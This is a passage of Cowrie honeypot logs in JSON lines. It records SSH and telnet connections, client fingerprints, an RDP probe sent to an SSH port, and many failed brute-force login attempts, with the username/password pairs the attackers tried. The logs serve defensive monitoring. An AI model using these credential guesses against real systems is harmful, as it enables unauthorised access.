openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:12.835463Z","src_ip":"49.51.202.114","session":"40b0cbab6152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54316,"dst_ip":"10.17.0.5","dst_port":23,"session":"e362694cec39","protocol":"telnet","message":"New connection: 192.119.13.58:54316 (10.17.0.5:23) [session: e362694cec39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:13.054949Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w#E$R","message":"login attempt [root/1q2w#E$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:13.139109Z","src_ip":"49.51.202.114","session":"40b0cbab6152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:14.210869Z","src_ip":"49.51.202.114","session":"40b0cbab6152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":39173,"dst_ip":"159.203.135.109","dst_port":22,"session":"41f63a579471","protocol":"ssh","message":"New connection: 2.57.121.112:39173 (159.203.135.109:22) [session: 41f63a579471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:17.485643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:17.494914Z","src_ip":"2.57.121.112","session":"41f63a579471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:17.596623Z","src_ip":"2.57.121.112","session":"41f63a579471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280679","message":"login attempt [admin/280679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:18.078724Z","src_ip":"2.57.121.112","session":"41f63a579471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280677","message":"login attempt [admin/280677] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:19.183943Z","src_ip":"2.57.121.112","session":"41f63a579471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28061977","message":"login attempt [admin/28061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:20.288765Z","src_ip":"2.57.121.112","session":"41f63a579471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28061972","message":"login attempt [admin/28061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:21.394600Z","src_ip":"2.57.121.112","session":"41f63a579471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.89301419258118,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:22.446054Z","src_ip":"192.119.13.58","session":"9662449ce501","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280591","message":"login attempt [admin/280591] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:22.501072Z","src_ip":"2.57.121.112","session":"41f63a579471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:23.605799Z","src_ip":"2.57.121.112","session":"41f63a579471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43240,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5429214df59","protocol":"telnet","message":"New connection: 192.119.13.58:43240 (10.17.0.5:23) [session: c5429214df59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:24.489178Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39344,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef2230c5ed6e","protocol":"ssh","message":"New connection: 80.66.85.226:39344 (10.17.0.5:22) [session: ef2230c5ed6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:35.311049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:35.316960Z","src_ip":"80.66.85.226","session":"ef2230c5ed6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:35.410265Z","src_ip":"80.66.85.226","session":"ef2230c5ed6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbyudby","message":"login attempt [root/gbyudby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:35.688726Z","src_ip":"80.66.85.226","session":"ef2230c5ed6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":34634,"dst_ip":"159.203.135.109","dst_port":22,"session":"176fd5bedebc","protocol":"ssh","message":"New connection: 103.149.170.125:34634 (159.203.135.109:22) [session: 176fd5bedebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:35.933578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:35.938427Z","src_ip":"103.149.170.125","session":"176fd5bedebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:36.210387Z","src_ip":"103.149.170.125","session":"176fd5bedebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:36.783796Z","src_ip":"80.66.85.226","session":"ef2230c5ed6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.969518661499023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:37.836408Z","src_ip":"192.119.13.58","session":"6c5d7d12035f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"juventus","message":"login attempt [root/juventus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:37.897381Z","src_ip":"103.149.170.125","session":"176fd5bedebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62026,"dst_ip":"159.203.135.109","dst_port":22,"session":"b145ad5983b7","protocol":"ssh","message":"New connection: 152.42.212.128:62026 (159.203.135.109:22) [session: b145ad5983b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:39.004300Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:39.009516Z","src_ip":"152.42.212.128","session":"b145ad5983b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:39.013408Z","src_ip":"152.42.212.128","session":"b145ad5983b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:39.169373Z","src_ip":"103.149.170.125","session":"176fd5bedebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51832,"dst_ip":"159.203.135.109","dst_port":22,"session":"68779e872e3d","protocol":"ssh","message":"New connection: 103.122.221.179:51832 (159.203.135.109:22) [session: 68779e872e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:39.183748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:39.188212Z","src_ip":"103.122.221.179","session":"68779e872e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:39.452941Z","src_ip":"103.122.221.179","session":"68779e872e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666666666","message":"login attempt [root/6666666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:40.248728Z","src_ip":"103.122.221.179","session":"68779e872e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:41.517601Z","src_ip":"103.122.221.179","session":"68779e872e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":47992,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ad0abfd1d6a","protocol":"ssh","message":"New connection: 185.92.182.129:47992 (10.17.0.5:22) [session: 4ad0abfd1d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:53.877141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:53.886753Z","src_ip":"185.92.182.129","session":"4ad0abfd1d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:54.567224Z","src_ip":"185.92.182.129","session":"4ad0abfd1d6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pedrito","password":"pedrito","message":"login attempt [pedrito/pedrito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:54.691494Z","src_ip":"185.92.182.129","session":"4ad0abfd1d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:55.729356Z","src_ip":"185.92.182.129","session":"4ad0abfd1d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.76266932487488,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:55.817504Z","src_ip":"192.119.13.58","session":"e362694cec39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53828,"dst_ip":"10.17.0.5","dst_port":23,"session":"04066fafef53","protocol":"telnet","message":"New connection: 192.119.13.58:53828 (10.17.0.5:23) [session: 04066fafef53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:05.781195Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":36176,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c01095e5210","protocol":"ssh","message":"New connection: 102.223.92.101:36176 (159.203.135.109:22) [session: 6c01095e5210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:08.721199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:08.725925Z","src_ip":"102.223.92.101","session":"6c01095e5210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:08.899409Z","src_ip":"102.223.92.101","session":"6c01095e5210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pedro123","message":"login attempt [root/pedro123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:09.618318Z","src_ip":"102.223.92.101","session":"6c01095e5210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.76933431625366,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:10.258395Z","src_ip":"192.119.13.58","session":"c5429214df59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:10.793297Z","src_ip":"102.223.92.101","session":"6c01095e5210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40424,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1eaaad690c2","protocol":"ssh","message":"New connection: 103.98.149.87:40424 (10.17.0.5:22) [session: c1eaaad690c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:25.011455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:25.023225Z","src_ip":"103.98.149.87","session":"c1eaaad690c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:25.236960Z","src_ip":"103.98.149.87","session":"c1eaaad690c2","protocol":"ssh"}
